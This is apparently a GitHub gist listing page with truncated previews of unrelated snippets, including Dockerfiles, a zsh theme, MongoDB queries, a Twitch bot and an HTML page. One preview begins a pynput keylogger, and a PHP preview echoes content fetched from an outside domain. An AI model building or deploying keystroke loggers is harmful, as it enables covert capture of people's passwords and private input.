This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8" /> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | |
<title>Norway Times - Article List</title> | |
<style> | |
body { | |
font-family: Arial, sans-serif; | |
background-color: #f3f3f3; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Let us create the build step | |
FROM oven/bun as builder | |
# Set the working directory | |
WORKDIR /bun-builder | |
# Copy package and bun lock file to the workdir | |
COPY package.json bun.lockb ./ | |
# Install dependencies |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sys | |
import requests | |
import argparse | |
# replace the values below with your GitHub username and organization name | |
github_username = "<your_github_name>" | |
github_org = "<your_github_org>" | |
autolinks = [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# █ █ ▐▌ ▄█▄ █ ▄▄▄▄ | |
# █▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀ | |
# █ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█ | |
# | |
# P E N - T E S T I N G L A B S | |
# HTB ZSH theme | |
# This is modified from https://gist.github.com/MadLittleMods/2dc87634c6f3649852fba89b9b98e366#file-eric-zsh-theme | |
# Modifier: bjarneo | |
# Date: 08-18-22 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Node.js program to demonstrate the | |
// fs.readFileSync() method | |
// Include fs module | |
const fs = require("fs"); | |
// Calling the readFileSync() method | |
// to read 'input.txt' file | |
const data = fs.readFileSync("./.env", { | |
encoding: "utf8", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Listener | |
def log_keystroke(key): | |
key = str(key).replace("'", "") | |
if key == 'Key.space': | |
key = ' ' | |
if key == 'Key.shift_r': | |
key = '' | |
if key == "Key.enter": |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo file_get_contents('https://oeverli.win'); | |
?> | |
<style type="text/css"> | |
p { | |
color: #26b72b; | |
} | |
</style> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const tmi = require('tmi.js'); | |
// Define configuration options | |
const opts = { | |
identity: { | |
username: 'your_username', | |
password: 'oauth:your_secret_password' // get the password from https://twitchapps.com/tmi/ | |
}, | |
channels: ['your_channel_name'] | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// find date GTE and LT | |
db.collection.find({createdAt: { $gte: ISODate("2019-04-10T00:00:00Z"), $lt: ISODate("2019-05-10T00:00:00Z") }}).count() | |
// find and sorted with limit | |
db.collection.find().sort({_id: -1}).limit(1).pretty() | |
// Remove from array | |
db.studios.find().toArray().map(item => item._id).forEach(id => db.studios.update({_id: id}, { $pull: { modules: { type: "commentsModule" } } })); | |
// Update one property |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The build stage | |
FROM node:9.5-alpine as builder | |
WORKDIR /app | |
COPY package-lock.json . | |
COPY package.json . | |
RUN npm i |